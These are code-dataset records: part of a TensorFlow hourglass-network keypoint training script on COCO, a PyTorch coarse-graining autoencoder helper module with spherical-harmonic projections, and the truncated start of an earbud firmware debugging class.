for on/off prediction (in mask and keypoint masks)\n KP_VIS_THRESHOLD = 0.9 # Threshold for visualization of KP masks in tf image summaries\n KP_DISTANCE_THRESHOLD = 5.0 # threshold for determining if a keypoint estimate is accurate\n X_INIT = tf.contrib.layers.xavier_initializer_conv2d() # xavier initializer for head architecture\n learning_rate1 = args.learning_rate1\n\n #######################################################\n ################## SUMMARY DICTIONARY #################\n #######################################################\n image_summary_list = []\n scalar_summary_list = []\n histogram_summary_list = []\n\n #######################################################\n ################### PREPARE DATASET ###################\n #######################################################\n with tf.variable_scope('DataSet'):\n print(\"Initializing Dataset...\\n\")\n #######################################################\n ##### PRE-PROCESSING AND DATASET EXTRACTION TOOLS #####\n #######################################################\n def extract_annotations_train(filename, imgID, coco=train_coco):\n anns = coco.loadAnns(coco.getAnnIds(imgID,catIds=[1],iscrowd=None))\n ann = max([ann for ann in anns], key=lambda item:item['area']) # extract annotation for biggest instance\n bbox = np.array(np.floor(ann['bbox']),dtype=int)\n keypoints = np.reshape(ann['keypoints'],(-1,3))\n mask = coco.annToMask(ann)\n \n return filename, bbox, keypoints, mask\n\n def extract_annotations_val(filename, imgID, coco=val_coco):\n anns = coco.loadAnns(coco.getAnnIds(imgID,catIds=[1],iscrowd=None))\n ann = max([ann for ann in anns], key=lambda item:item['area']) # extract annotation for biggest instance\n bbox = np.array(np.floor(ann['bbox']),dtype=int)\n keypoints = np.reshape(ann['keypoints'],(-1,3))\n mask = coco.annToMask(ann)\n \n return filename, bbox, keypoints, mask\n \n def preprocess_image_tf(filename, bbox_tensor, keypoints_tensor, mask, D=D):\n \"\"\"\n Returns:\n resized_image (N,D,D,3) - cropped, padded (if needed), scaled to square image of size D\n resized_mask (N,D,D,1) - cropped, padded (if needed), scaled to square mask of size D\n pts (N,2,17) - keypoint coordinates (i,j) scaled to match up with resized_image\n labels (N,1,17) - values corresponding to pts: {0: invalid, 1:occluded, 2:valid}\n \"\"\"\n image_string = tf.read_file(filename)\n image_decoded = tf.image.decode_jpeg(image_string, channels=3)\n image = tf.cast(image_decoded, tf.float32)\n\n # subtract mean\n image = tf.subtract(image, tf.reduce_mean(image))\n\n mask = tf.transpose([mask],[1,2,0])\n bbox_tensor = tf.to_float(bbox_tensor)\n keypoints_tensor = tf.to_float(keypoints_tensor)\n\n sideLength = tf.reduce_max(bbox_tensor[2:],axis=0)\n centerX = tf.floor(bbox_tensor[0] + tf.divide(bbox_tensor[2],tf.constant(2.0)))\n centerY = tf.floor(bbox_tensor[1] + tf.divide(bbox_tensor[3],tf.constant(2.0)))\n center = tf.stack([centerX,centerY])\n\n corner1 = tf.to_int32(tf.minimum(tf.maximum(tf.subtract(center, tf.divide(sideLength,tf.constant(2.0))),0),\n tf.reverse(tf.to_float(tf.shape(image)[:2]),tf.constant([0]))))\n corner2 = tf.to_int32(tf.minimum(tf.maximum(tf.add(center, tf.divide(sideLength,tf.constant(2.0))),0),\n tf.reverse(tf.to_float(tf.shape(image)[:2]),tf.constant([0]))))\n i_shape = tf.subtract(corner2,corner1)\n ##### Move corner 2 to enforce squareness!! #####\n corner2 = corner1 + tf.reduce_min(i_shape)\n sideLength = tf.to_float(tf.reduce_min(corner2-corner1))\n \n scale = tf.divide(tf.constant(D,tf.float32), sideLength)\n cropped_image = tf.image.crop_to_bounding_box(image,corner1[1],corner1[0],\n tf.subtract(corner2,corner1)[1],tf.subtract(corner2,corner1)[0])\n cropped_mask = tf.image.crop_to_bounding_box(mask,corner1[1],corner1[0],\n tf.subtract(corner2,corner1)[1],tf.subtract(corner2,corner1)[0])\n\n pts, labels = tf.split(keypoints_tensor,[2,1],axis=1)\n pts = tf.subtract(pts,tf.to_float(corner1)) # shift keypoints\n pts = tf.multiply(pts,scale) # scale keypoints\n\n # set invalid pts to 0\n valid = tf.less(pts,tf.constant(D,tf.float32))\n valid = tf.reduce_min(tf.multiply(tf.to_float(valid), tf.to_float(tf.greater(pts,0))), axis=1, keep_dims=True)\n pts = tf.multiply(pts,valid)\n labels = tf.multiply(labels,valid)\n pts = tf.transpose(pts,[1,0])\n labels = tf.transpose(labels,[1,0])\n labels = tf.to_float(tf.greater_equal(labels, 1.5)) # only use labels whose values are 2 - is this a good idea?\n\n resized_image = tf.image.resize_images(cropped_image,tf.constant([D,D]),tf.image.ResizeMethod.NEAREST_NEIGHBOR)\n resized_mask = tf.image.resize_images(cropped_mask,tf.constant([D,D]),tf.image.ResizeMethod.NEAREST_NEIGHBOR)\n \n return resized_image, resized_mask, pts, labels\n\n def scaleDownMaskAndKeypoints(image, mask, pts, labels, d=d, D=D):\n mask = tf.image.resize_images(mask,tf.constant([d,d]),tf.image.ResizeMethod.NEAREST_NEIGHBOR)\n pts = tf.multiply(pts,tf.constant(d/D))\n return image, mask, pts, labels\n \n def generate_keypoint_masks(image, mask, keypoints, labels, d=d, D=D, L=L):\n X, Y = tf.meshgrid(tf.linspace(0.0,d,d),tf.linspace(0.0,d,d))\n X = tf.reshape(X,[d,d,1])\n Y = tf.reshape(Y,[d,d,1])\n X_stack = tf.tile(X,tf.constant([1,1,17],dtype=tf.int32))\n Y_stack = tf.tile(Y,tf.constant([1,1,17],dtype=tf.int32))\n\n pts = tf.reshape(keypoints,[1,2,17])\n ptsX, ptsY = tf.split(pts,[1,1],axis=1)\n d1 = tf.square(tf.subtract(X_stack,ptsX))\n d2 = tf.square(tf.subtract(Y_stack,ptsY))\n\n pt_masks = tf.multiply(tf.divide(tf.constant(1.0),tf.add(d1,d2)+L),L)\n return image, mask, pt_masks, pts, labels\n def generate_one_hot_keypoint_masks(image, mask, keypoints, labels, d=d):\n pts = tf.reshape(keypoints,[1,2,17])\n indices = tf.to_int32(pts)\n kp_mask1 = tf.one_hot(depth=d,indices=indices[:,1,:],axis=0)\n kp_mask2 = tf.one_hot(depth=d,indices=indices[:,0,:],axis=1)\n kp_masks = tf.matmul(tf.transpose(kp_mask1,(2,0,1)),tf.transpose(kp_mask2,(2,0,1)))\n kp_masks = tf.transpose(kp_masks,(1,2,0)) # *labels # don't multiply by zeros, because they don't play nice wift softmax later...\n return image, mask, kp_masks, pts, labels\n\n \n def softmax_keypoint_masks(kpt_masks, d=d):\n return tf.reshape(tf.nn.softmax(tf.reshape(kpt_masks, [-1,d**2,17]),dim=1),[-1,d,d,17])\n def bilinear_filter(channels_in,channels_out):\n f = tf.multiply(tf.constant([0.5, 1.0, 0.5],shape=[3,1]),tf.constant([0.5, 1.0, 0.5],shape=[1,3]))\n f = tf.stack([f for i in range(channels_out)],axis=2)\n f = tf.stack([f for i in range(channels_in)],axis=3)\n return f\n\n \n\n\n # get all images containing the 'person' category\n train_catIds = train_coco.getCatIds(catNms=['person'])\n train_imgIds = train_coco.getImgIds(catIds=train_catIds)\n val_catIds = val_coco.getCatIds(catNms=['person'])\n val_imgIds = val_coco.getImgIds(catIds=val_catIds)\n\n # Just for dealing with the images on my computer (not necessary when working with the whole dataset)\n if args.small_dataset == True:\n train_catIds = train_catIds[0:30]\n train_imgIds = train_imgIds[0:30]\n val_catIds = val_catIds[0:30]\n val_imgIds = val_imgIds[0:30]\n\n ################### TRAIN DATASET ###################\n train_filenames = tf.constant(['{}/COCO_train2014_{:0>12}.jpg'.format(train_img_path, imgID) for imgID in train_imgIds])\n train_imgID_tensor = tf.constant(train_imgIds)\n train_dataset = tf.contrib.data.Dataset.from_tensor_slices((train_filenames, train_imgID_tensor))\n train_dataset = train_dataset.map(\n lambda filename, imgID: tf.py_func(extract_annotations_train, [filename, imgID], [filename.dtype, tf.int64, tf.int64, tf.uint8]))\n train_dataset = train_dataset.map(preprocess_image_tf)\n train_dataset = train_dataset.map(scaleDownMaskAndKeypoints)\n train_dataset = train_dataset.map(generate_one_hot_keypoint_masks)\n train_dataset = train_dataset.shuffle(buffer_size=10000)\n train_dataset = train_dataset.batch(BATCH_SIZE)\n\n #################### VAL DATASET ####################\n val_filenames = tf.constant(['{}/COCO_val2014_{:0>12}.jpg'.format(val_img_path, imgID) for imgID in val_imgIds])\n val_imgID_tensor = tf.constant(val_imgIds)\n val_dataset = tf.contrib.data.Dataset.from_tensor_slices((val_filenames, val_imgID_tensor))\n val_dataset = val_dataset.map(\n lambda filename, imgID: tf.py_func(extract_annotations_val,[filename, imgID],[filename.dtype, tf.int64, tf.int64, tf.uint8]))\n val_dataset = val_dataset.map(preprocess_image_tf)\n val_dataset = val_dataset.map(scaleDownMaskAndKeypoints)\n val_dataset = val_dataset.map(generate_one_hot_keypoint_masks)\n val_dataset = val_dataset.shuffle(buffer_size=10000)\n val_dataset = val_dataset.batch(BATCH_SIZE)\n\n iterator = tf.contrib.data.Iterator.from_structure(train_dataset.output_types, train_dataset.output_shapes)\n\n images, masks, kpt_masks, pts, labels = iterator.get_next()\n train_init_op = iterator.make_initializer(train_dataset)\n val_init_op = iterator.make_initializer(val_dataset)\n\n image_summary_list.append(tf.summary.image('keypoint masks', getActivationImage(kpt_masks),max_outputs=1))\n image_summary_list.append(tf.summary.image('input images', images, max_outputs=1))\n image_summary_list.append(tf.summary.image('keypoint_overlays', keypointHeatMapOverlay(images, kpt_masks, threshold=KP_VIS_THRESHOLD)))\n \n #######################################################\n ##################### BUILD GRAPH #####################\n #######################################################\n is_training = tf.placeholder(tf.bool)\n\n # --------------------------------------------------- #\n # ---------------- ResNet Base Layer ---------------- #\n # --------------------------------------------------- #\n\n resnet_v2 = tf.contrib.slim.nets.resnet_v2\n with slim.arg_scope(resnet_v2.resnet_arg_scope()):\n logits, endpoints = resnet_v2.resnet_v2_50(\n inputs=images,\n num_classes=2,\n is_training=is_training,\n reuse=None,\n output_stride=16,\n scope='resnet_v2_50'\n )\n\n # Model Path to ResNet v2 50 checkpoint\n model_path = args.model_path\n assert(os.path.isfile(model_path))\n # Restore just the first convolutional layer\n resnet_variables = tf.contrib.framework.get_variables_to_restore(include=['resnet_v2_50/conv1'])\n init_fn = tf.contrib.framework.assign_from_checkpoint_fn(model_path, resnet_variables) # Call to load pretrained weights\n\n # --------------------------------------------------- #\n # --------------- \"Head\" Architecture --------------- #\n # --------------------------------------------------- #\n print(\"Defining Network architecture...\\n\")\n HEAD_SCOPE='network'\n with tf.variable_scope(HEAD_SCOPE):\n with tf.variable_scope('Block_0'):\n # 1st layer\n net = endpoints['resnet_v2_50/conv1']\n\n histogram_summary_list.append(tf.summary.histogram('layer1_conv', tf.trainable_variables()[0]))\n image_summary_list.append(tf.summary.image('layer1_conv', getFilterImage(tf.expand_dims(tf.trainable_variables()[0],0)),max_outputs=1))\n\n net = tf.layers.conv2d(images,64,(3,3),(2,2),padding='SAME',bias_initializer=tf.constant_initializer(0.01))\n net = tf.layers.batch_normalization(net,axis=3)\n net = tf.nn.relu(net)\n\n with tf.variable_scope('Block_1'):\n block1, scalar_summary_list, image_summary_list, histogram_summary_list = HourGlassNet(\n graph,\n inputs=net,\n num_filters=[64,128,256,512,1024], \n num_bridges=[5,4,3,2,1],\n scalar_summary_list=scalar_summary_list,\n image_summary_list=image_summary_list,\n histogram_summary_list=histogram_summary_list)\n\n # 1 x 1 convolution into prediction logits\n logits_1 = tf.layers.conv2d(block1, 17,(1,1),(1,1),padding='SAME')\n block1 = tf.concat([block1,net],axis=3)\n\n with tf.variable_scope('Block_2'):\n block2, scalar_summary_list, image_summary_list, histogram_summary_list = HourGlassNet(\n graph,\n inputs=block1,\n num_filters=[16,16,16,16,16], \n num_bridges=[5,4,3,2,1],\n scalar_summary_list=scalar_summary_list,\n image_summary_list=image_summary_list,\n histogram_summary_list=histogram_summary_list)\n\n logits_2 = tf.layers.conv2d(block2,17,(1,1),(1,1),padding='SAME')\n\n\n ########## Prediction and Accuracy Checking ########### \n with tf.variable_scope('predictions1'):\n keypoint_mask_predictions1 = softmax_keypoint_masks(logits_1, d=d)\n keypoint_predictions1 = KeypointPrediction(graph,keypoint_mask_predictions1,d=d)\n keypoint_accuracy_1 = keypointPredictionAccuracy(graph,keypoint_predictions1,pts,labels,threshold=4.0)\n\n image_summary_list.append(tf.summary.image('Head - keypoint mask prediction1', getActivationImage(keypoint_mask_predictions1),max_outputs=1))\n image_summary_list.append(tf.summary.image('keypoint_overlay_pred1', keypointHeatMapOverlay(images, keypoint_mask_predictions1, threshold=KP_VIS_THRESHOLD), max_outputs=1))\n scalar_summary_list.append(tf.summary.scalar(\n 'Head - keypoint1 accuracy delta={}'.format(1.0), keypointPredictionAccuracy(graph, keypoint_predictions1, pts, labels, 1.0)))\n\n with tf.variable_scope('predictions2'):\n keypoint_mask_predictions2 = softmax_keypoint_masks(logits_2, d=d)\n keypoint_predictions2 = KeypointPrediction(graph,keypoint_mask_predictions2,d=d)\n keypoint_accuracy_2 = keypointPredictionAccuracy(graph,keypoint_predictions2,pts,labels,threshold=4.0)\n\n image_summary_list.append(tf.summary.image('Head - keypoint mask prediction2', getActivationImage(keypoint_mask_predictions2),max_outputs=1))\n image_summary_list.append(tf.summary.image('keypoint_overlay_pred2', keypointHeatMapOverlay(images, keypoint_mask_predictions2, threshold=KP_VIS_THRESHOLD), max_outputs=1))\n scalar_summary_list.append(tf.summary.scalar(\n 'Head - keypoint2 accuracy delta={}'.format(1.0), keypointPredictionAccuracy(graph, keypoint_predictions2, pts, labels, 1.0)))\n # for i in [1.0,2.0,3.0,5.0,8.0]:\n # scalar_summary_list.append(tf.summary.scalar(\n # 'Head - keypoint accuracy delta={}'.format(i), keypointPredictionAccuracy(graph, keypoint_predictions2, pts, labels, i)))\n\n #######################################################\n ####################### LOSSES ########################\n #######################################################\n with tf.variable_scope('loss'):\n keypoint_loss_1 = tf.reduce_mean(keypoint_SoftmaxCrossEntropyLoss(graph,logits_1,kpt_masks,labels))\n keypoint_loss_2 = tf.reduce_mean(keypoint_SoftmaxCrossEntropyLoss(graph,logits_2,kpt_masks,labels))\n\n scalar_summary_list.append(tf.summary.scalar('loss_1', keypoint_loss_1))\n scalar_summary_list.append(tf.summary.scalar('loss_2', keypoint_loss_2))\n\n reg_loss = tf.add_n([tf.nn.l2_loss(w) for w in tf.contrib.framework.get_variables_by_name('kernel')])\n\n total_loss = keypoint_loss_1 + keypoint_loss_2 + args.reg_term * reg_loss\n \n # Call to initialize Head Variables from scratch\n head_variables = tf.contrib.framework.get_variables(HEAD_SCOPE)\n init_head = tf.variables_initializer(head_variables, 'init_head')\n\n #######################################################\n ###################### SUMMARIES ######################\n #######################################################\n\n image_summary = tf.summary.merge(image_summary_list, collections=None, name=\"Image_Summaries\")\n scalar_summary = tf.summary.merge(scalar_summary_list, collections=None, name=\"Scalar_Summaries\")\n histogram_summary = tf.summary.merge(histogram_summary_list, collections=None, name=\"Histogram_summaries\")\n\n # Saver to save graph to checkpoint\n head_saver = tf.train.Saver(var_list=head_variables, max_to_keep=5)\n\n #######################################################\n ###################### OPTIMIZERS #####################\n #######################################################\n with tf.variable_scope('Optimizers'):\n global_step = tf.Variable(0, trainable=False, name='global_step')\n # Exponential decay learning schedule\n learning_rate = tf.train.exponential_decay(\n learning_rate=args.learning_rate1, \n global_step=global_step, \n decay_steps=args.decay_steps, \n decay_rate=args.decay_rate, \n staircase=True\n )\n # begin trainiing with a really low learning rate to avoid killing all of the neurons at the start\n optimizer_burn_in = tf.train.RMSPropOptimizer(learning_rate=args.learning_rate_burn_in)\n train_op_burn_in = optimizer_burn_in.minimize(total_loss, global_step=global_step, var_list=head_variables, gate_gradients=tf.train.RMSPropOptimizer.GATE_NONE)\n \n head_optimizer = tf.train.RMSPropOptimizer(learning_rate)\n head_train_op = head_optimizer.minimize(total_loss, global_step=global_step, var_list=head_variables, gate_gradients=tf.train.RMSPropOptimizer.GATE_NONE)\n \n # RMSProp optimizer uses \"slot\" variables for maintaining the running average of weight updates. It must therefore be initialized \n optimizer_variables = tf.contrib.framework.get_variables('Optimizers')\n init_optimizer = tf.variables_initializer(optimizer_variables)\n\n # Finalize default graph - THIS SEEMS TO PREVENT ADDING A FILEWRITER LATER\n tf.get_default_graph().finalize()\n\n #######################################################\n ######################## TRAIN ########################\n #######################################################\n with tf.Session(graph=graph) as sess:\n # file writer to save graph for Tensorboard\n log_path = args.log_path\n i = 0\n while True:\n if os.path.isdir('{}/{}'.format(log_path,i)):\n i += 1\n else:\n log_path = '{}/{}'.format(log_path,i)\n break\n\n file_writer = tf.summary.FileWriter(log_path)\n file_writer.add_graph(sess.graph)\n print(\"Initializing network variables...\")\n init_fn(sess) # resnet variables\n sess.run(init_head) # head variables\n print(\"Initializing optimizer variables...\\n\")\n sess.run(init_optimizer)\n \n #############################################################\n ###################### TRAINING ROUND 0 #####################\n #############################################################\n print(\"Beginning Training...\")\n print('### Starting Epoch 0 - burn in with low learning rate')\n sess.run(train_init_op)\n batch = 0\n while batch <= args.num_batches_burn_in:\n try:\n loss, _ = sess.run([total_loss, train_op_burn_in], {is_training: True})\n print('----- Losses for batch {}: Keypoint Loss: {:0>5}'.format(batch+1, loss))\n if batch % args.summary_every == 0:\n image_summ, scalar_summ, histogram_summ = sess.run([image_summary, scalar_summary, histogram_summary],{is_training: False})\n file_writer.add_summary(image_summ, global_step=tf.train.global_step(sess, global_step))\n file_writer.add_summary(scalar_summ, global_step=tf.train.global_step(sess, global_step))\n file_writer.add_summary(histogram_summ, global_step=tf.train.global_step(sess, global_step))\n else:\n scalar_summ = sess.run(scalar_summary, {is_training: False})\n file_writer.add_summary(scalar_summ, global_step=tf.train.global_step(sess, global_step))\n batch += 1\n except tf.errors.OutOfRangeError:\n break\n\n #############################################################\n ###################### TRAINING ROUND 0 #####################\n #############################################################\n for epoch in range(args.num_epochs1):\n # Run an epoch over the training data.\n print('### Starting epoch {}/{} ####################'.format(epoch + 1, args.num_epochs1))\n sess.run(train_init_op) # initialize the iterator with the training set.\n batch = 0\n while True:\n try:\n loss, _ = sess.run([total_loss, head_train_op], {is_training: True})\n print('----- Losses for batch {}: Keypoint Loss: {:0>5}'.format(batch+1, loss))\n if batch % args.summary_every == 0:\n image_summ, scalar_summ, histogram_summ = sess.run([image_summary, scalar_summary, histogram_summary],{is_training: False})\n file_writer.add_summary(image_summ, global_step=tf.train.global_step(sess, global_step))\n file_writer.add_summary(scalar_summ, global_step=tf.train.global_step(sess, global_step))\n file_writer.add_summary(histogram_summ, global_step=tf.train.global_step(sess, global_step))\n else:\n scalar_summ = sess.run(scalar_summary, {is_training: False})\n file_writer.add_summary(scalar_summ, global_step=tf.train.global_step(sess, global_step))\n batch += 1\n except tf.errors.OutOfRangeError:\n break\n\n if epoch % args.checkpoint_every == 0:\n head_saver.save(sess, args.save_path, global_step=tf.train.global_step(sess, global_step))\n\n # # Check accuracy on the train and val sets every epoch.\n print(\"DO NOT PANIC - CHECKING ACCURACY\")\n print(\"This part takes a while because the training set and the validation set both have to be initialized...\")\n kpt_train_acc_1, kpt_train_acc_2 = check_double_accuracy(sess, keypoint_accuracy_1, keypoint_accuracy_2, labels, is_training, train_init_op)\n kpt_val_acc_1, kpt_val_acc_2 = check_double_accuracy(sess, keypoint_accuracy_1, keypoint_accuracy_2, labels, is_training, val_init_op)\n print('Train accuracy ---- Keypoints_1: {:0>5}'.format(kpt_train_acc_1))\n print(' Val accuracy ---- Keypoints_1: {:0>5}'.format(kpt_val_acc_1))\n print('Train accuracy ---- Keypoints_2: {:0>5}'.format(kpt_train_acc_2))\n print(' Val accuracy ---- Keypoints_2: {:0>5}'.format(kpt_val_acc_2))\n\n print(\"Finished\")\n return\n\n\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n main(args)","sub_path":"src/ResHourGlassNet.py","file_name":"ResHourGlassNet.py","file_ext":"py","file_size_in_byte":43920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"491896073","text":"import torch\nimport torch.nn\nimport torch.nn.functional\nimport torch.optim\nimport torch.utils.data\n\nimport argparse\n\nimport se3cnn.SO3 as SO3\nfrom se3cnn.non_linearities import rescaled_act\n\nfrom cgae.cgae import load_data, otp_element_to_onehot\nfrom cgae.equi import ACTS\n\n\ndef otp_parser():\n parser = argparse.ArgumentParser(add_help=False)\n # Data\n parser.add_argument(\n \"--nte\", type=int, default=1000, help=\"Number of test examples.\"\n )\n parser.add_argument(\n \"--ntr\", type=int, default=3000, help=\"Number of training examples.\"\n )\n\n # cgae hyper parameters\n parser.add_argument(\n \"--atomic_nums\", type=int, default=2, help=\"Count of possible atomic numbers.\"\n )\n parser.add_argument(\n \"--ncg\", type=int, default=3, help=\"Count of coarse grained united atoms.\"\n )\n parser.add_argument(\n \"--temp\", type=float, default=4.0, help=\"Set initial temperature.\"\n )\n parser.add_argument(\n \"--tmin\", type=float, default=0.1, help=\"Set minimum temperature.\"\n )\n parser.add_argument(\n \"--tdr\", type=float, help=\"Temperature decay rate. Normally set automatically\"\n )\n parser.add_argument(\n \"--fm\", action=\"store_true\", help=\"Turn on force matching at a certain epoch.\"\n )\n parser.add_argument(\n \"--fm_epoch\",\n type=int,\n default=400,\n help=\"Which epoch should force matching being.\",\n )\n parser.add_argument(\n \"--fm_co\",\n type=float,\n default=1.0,\n help=\"Coefficient multiplied by force matching loss.\",\n )\n\n # General hyper parameters\n parser.add_argument(\"--bs\", type=int, default=32, help=\"Batch size.\")\n parser.add_argument(\"--lr\", type=float, default=1e-3, help=\"Learning rate.\")\n parser.add_argument(\n \"--force_temp_coeff\",\n type=float,\n default=0.7,\n help=\"Gumble is sampled at a diff temp for \"\n \"forces. This is that coefficient.\",\n )\n\n # Calculation\n parser.add_argument(\"--cpu\", action=\"store_true\", help=\"Force calculation on cpu.\")\n parser.add_argument(\n \"--gpu\",\n type=int,\n default=0,\n choices=list(range(torch.cuda.device_count())),\n help=\"Which gpu?\",\n )\n parser.add_argument(\n \"--double\", action=\"store_true\", help=\"Calculate using double precision.\"\n )\n parser.add_argument(\n \"--wall\", type=float, default=5 * 60, help=\"If calc time is too long, break.\"\n )\n parser.add_argument(\n \"--epochs\", type=int, default=800, help=\"Number of epochs to calculate.\"\n )\n parser.add_argument(\n \"--seed\", type=int, default=42, help=\"Set seed before batching.\"\n )\n\n # Saving\n parser.add_argument(\n \"--pickle\", type=str, default=\"out.pkl\", help=\"File for results.\"\n )\n parser.add_argument(\n \"--save_state\",\n action=\"store_true\",\n help=\"Save encoder and decoder state. Default False.\",\n )\n return parser\n\n\ndef otp_equi_parser():\n parser = argparse.ArgumentParser(add_help=False)\n parser.add_argument(\n \"--high_l_encoder\",\n action=\"store_true\",\n help=\"Set the encoder to include high order sph.\",\n )\n parser.add_argument(\n \"--scalar_act\",\n type=str,\n default=\"softplus\",\n choices=ACTS,\n help=\"Select scalar activation.\",\n )\n parser.add_argument(\n \"--gate_act\",\n type=str,\n default=\"sigmoid\",\n choices=ACTS,\n help=\"Select gate activation.\",\n )\n parser.add_argument(\n \"--softplus_beta\",\n type=float,\n default=1.0,\n help=\"Which beta for softplus and shifted softplus?\",\n )\n parser.add_argument(\"--l0\", type=int, default=5)\n parser.add_argument(\n \"--enc_l0\", type=int, default=20, help=\"l0 multiplicity for the encoder.\"\n )\n parser.add_argument(\"--l1\", type=int, default=5)\n parser.add_argument(\"--l2\", type=int, default=5)\n parser.add_argument(\"--l3\", type=int, default=5)\n parser.add_argument(\"--l4\", type=int, default=5)\n parser.add_argument(\"--l5\", type=int, default=5)\n parser.add_argument(\n \"--enc_L\",\n type=int,\n default=3,\n help=\"How many layers to create for the encoder.\",\n )\n parser.add_argument(\n \"--dec_L\",\n type=int,\n default=1,\n help=\"How many layers to create for the decoder.\",\n )\n parser.add_argument(\n \"--rad_act\",\n type=str,\n default=\"softplus\",\n choices=ACTS,\n help=\"Select radial activation.\",\n )\n parser.add_argument(\n \"--rad_nb\", type=int, default=20, help=\"Radial number of bases.\"\n )\n parser.add_argument(\"--rad_maxr\", type=float, default=3, help=\"Max radius.\")\n parser.add_argument(\n \"--rad_h\", type=int, default=50, help=\"Size of radial weight parameters.\"\n )\n parser.add_argument(\"--rad_L\", type=int, default=2, help=\"Number of radial layers.\")\n parser.add_argument(\n \"--proj_lmax\", type=int, default=5, help=\"What is the l max for projection.\"\n )\n projection_group = parser.add_mutually_exclusive_group()\n projection_group.add_argument(\n \"--gumble_sm_proj\",\n action=\"store_true\",\n help=\"For the target projection, use a gumble softmax sample instead of a \"\n \"straight-through gumble softmax sample.\",\n )\n projection_group.add_argument(\n \"--nearest\",\n action=\"store_true\",\n help=\"Use the nearest atoms for sph projection target.\",\n )\n cg_features_group = parser.add_mutually_exclusive_group()\n cg_features_group.add_argument(\n \"--cg_ones\",\n action=\"store_true\",\n help=\"cg_features get a single scalar channel. (This didn't help overfit.)\",\n )\n cg_features_group.add_argument(\n \"--cg_specific_atom\",\n type=int,\n choices={1, 2, 3, 4, 5},\n help=\"cg_features gets the location of an atom. l=?? projection\",\n )\n\n return parser\n\n\ndef parse_args(parser):\n args = parser.parse_args()\n args.precision = torch.float64 if args.double else torch.float32\n gpu = torch.cuda.is_available() and not args.cpu\n args.device = torch.device(f\"cuda:{args.gpu}\") if gpu else torch.device(\"cpu\")\n\n ACTS[\"softplus\"] = rescaled_act.Softplus(args.softplus_beta)\n ACTS[\"shifted_softplus\"] = rescaled_act.ShiftedSoftplus(args.softplus_beta)\n\n print(f\"Calculating on {args.device}.\")\n return args\n\n\ndef project_onto_cg(r, assignment, feature_mask, args, adjusted=False):\n # Project every atom onto each CG.\n # Mask by straight-through cg assignment.\n # Split into channels by atomic number.\n cg_proj = project_to_ylm(\n r,\n l_max=args.proj_lmax,\n dtype=args.precision,\n device=args.device,\n adjusted=adjusted,\n ) # B, n_atoms, n_cg, sph\n cg_proj = assignment.unsqueeze(-1) * cg_proj # B, n_atoms, n_cg, sph\n cg_proj = (\n cg_proj[..., None, :] * feature_mask[..., None, :, None]\n ) # B, n_atoms, n_cg, atomic_numbers, sph\n cg_proj = cg_proj.sum(1) # B, n_cg, atomic_numbers, sph\n return cg_proj\n\n\ndef project_to_ylm(relative_coords, l_max=5, dtype=None, device=None, adjusted=False):\n if adjusted:\n by_batch = []\n for b in range(relative_coords.shape[0]):\n proj_on_cg = torch.stack(\n [\n adjusted_projection(relative_coords[b, :, i, :], l_max)\n for i in range(relative_coords.shape[2])\n ],\n dim=1,\n )\n by_batch.append(proj_on_cg)\n sh = torch.stack(by_batch)\n else:\n sh = SO3.spherical_harmonics_xyz(\n range(l_max + 1), relative_coords, sph_last=True, dtype=dtype, device=device\n )\n return sh\n\n\ndef adjusted_projection(vectors, L_max, sum=False):\n radii = vectors.norm(2, -1)\n vectors = vectors[radii > 0.0]\n radii = radii[radii > 0.0]\n\n angles = SO3.xyz_to_angles(vectors)\n coeff = SO3.spherical_harmonics_dirac(L_max, *angles)\n coeff *= radii.unsqueeze(-2)\n # Handle case where only have a center\n if coeff.shape[1] == 0:\n return torch.zeros(coeff.shape[0])\n\n A = torch.einsum(\n \"ia,ib->ab\", SO3.spherical_harmonics(range(L_max + 1), *angles), coeff\n )\n coeff *= torch.gels(radii, A).solution.view(-1)\n if sum:\n return coeff.sum(-1)\n else:\n rank = len(coeff.shape)\n return coeff.permute(*range(1, rank), 0)\n\n\ndef project_atom_onto_cg_features(\n relative_coords, order, atom_inds, cg_ind, dtype=None, device=None\n):\n sph = SO3.spherical_harmonics_xyz(\n order, relative_coords, sph_last=True, dtype=dtype, device=device\n )\n try:\n count_projected_atoms = len(atom_inds)\n except TypeError:\n count_projected_atoms = 1\n index = (\n torch.tensor(cg_ind, device=device)\n .view(1, 1, 1, 1)\n .expand(sph.size(0), count_projected_atoms, -1, sph.size(-1))\n )\n if not torch.is_tensor(atom_inds):\n atom_inds = torch.tensor(atom_inds, device=device)\n selected_sph = sph.clone().detach().index_select(1, atom_inds)\n mask = torch.zeros_like(selected_sph).scatter_(-2, index, 1.0)\n return (mask * selected_sph).sum(1)\n\n\ndef data(args):\n geometries, forces, elements = load_data(args.ntr)\n geometries = torch.from_numpy(geometries).to(\n device=args.device, dtype=args.precision\n )\n forces = torch.from_numpy(forces).to(device=args.device, dtype=args.precision)\n features = torch.tensor(\n list(map(lambda x: otp_element_to_onehot()[x], elements)),\n device=args.device,\n dtype=args.precision,\n )\n features = features.expand(geometries.size(0), -1, -1)\n return geometries, forces, features\n\n\ndef batch(geometries, forces, features, batch_size):\n n_atoms = geometries.size(1)\n n_features = features.size(-1)\n n_batches = int(geometries.shape[0] // batch_size)\n n_samples = n_batches * batch_size\n geometries = geometries[:n_samples].reshape(n_batches, batch_size, n_atoms, 3)\n forces = forces[:n_samples].reshape(n_batches, batch_size, n_atoms, 3)\n features = features[:n_samples].reshape(n_batches, batch_size, n_atoms, n_features)\n return n_batches, geometries, forces, features\n\n\ndef assign_locally(cg_geo, atoms_geo):\n return (atoms_geo.unsqueeze(-2) - cg_geo.unsqueeze(-3)).pow(2).sum(-1).argmin(1)\n","sub_path":"otp.py","file_name":"otp.py","file_ext":"py","file_size_in_byte":10409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"478702812","text":"############################################################################\n# CONFIDENTIAL\n#\n# Copyright (c) 2020 Qualcomm Technologies International, Ltd.\n# %%version\n#\n############################################################################\n\nfrom csr.dev.fw.firmware_component import FirmwareComponent\nfrom csr.dev.model import interface\nfrom ..caa.structs import DeviceProfiles\nfrom ..caa.connection_manager import ConnectionManager\nfrom ..caa.device_list import DeviceList\n\nclass Earbud(FirmwareComponent):\n ''' Class providing summary information about the Earbud application.\n '''\n\n def __init__(self, env, core, parent=None):\n FirmwareComponent.__init__(self, env, core, parent=parent)\n\n try:\n self._app_sm = env.vars[\"app_sm\"]\n self._cm = ConnectionManager(env, core, parent)\n self._devlist = DeviceList(env, core, parent)\n except KeyError:\n raise self.NotDetected\n\n def 